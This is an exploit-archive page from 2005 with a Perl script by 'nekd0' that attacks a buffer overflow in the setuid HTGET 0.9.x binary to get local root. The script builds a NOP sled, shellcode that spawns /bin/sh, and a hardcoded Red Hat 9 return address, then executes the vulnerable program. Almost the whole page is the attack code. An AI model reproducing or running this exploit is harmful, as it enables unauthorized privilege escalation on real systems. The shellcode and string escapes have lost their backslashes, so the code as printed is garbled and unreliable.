HTGET <= 0.9.x Local Root Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : HTGET <= 0.9.x Local Root Exploit
# Published : 2005-01-05
# Author : nekd0
# Previous Title : MS Windows Improper Token Validation Local Exploit (working)
# Next Title : Solaris 7/8/9 CDE LibDTHelp Local Buffer Overflow Exploit (2)

#!/usr/bin/perl
#^^^^^^^^^^^^^^^^....,,,,|:::::::____******
#HTGET <= 0.9.x local lame r00t exploit	    *	
#written by nekd0 of Unl0ck Research Team    *
#(c) .unl0ck research team 2004-2005. 	     *
#	http://unl0ck.void.ru		    *	
#................/^^^^''''|:::::::----******

$shellcode = 
"x31xc0x31xdbxb0x17xcdx80".
"xb0x2excdx80xebx15x5bx31".
"xc0x88x43x07x89x5bx08x89".
"x43x0cx8dx4bx08x31xd2xb0".
"x0bxcdx80xe8xe6xffxffxff".
"/bin/sh";

$len = 288;
$ret = 0xbfffd62a; #red hat 9.0 
$nop = "x90";
$offset = 0 ;
$vulnprog="/usr/bin/htget";

if (@ARGV == 1) {
    $offset = $ARGV[0];}

if (!-u($vulnprog)){print "$vulnprog is not suid... exitingn";exit();}

for ($i=0; $i<($len-length($shellcode)-100);$i++)
	{$buffer .= $nop;}

$buffer .= $shellcode;

print ("Address: 0x",sprintf('%lx',($ret+$offset)),"n");

$new_ret = pack('l',($ret + $offset));

for ($i+=length($shellcode); $i<$len; $i+=4)
	{$buffer .=$new_ret}

exec("$vulnprog $buffer");

# www.Syue.com [2005-01-05]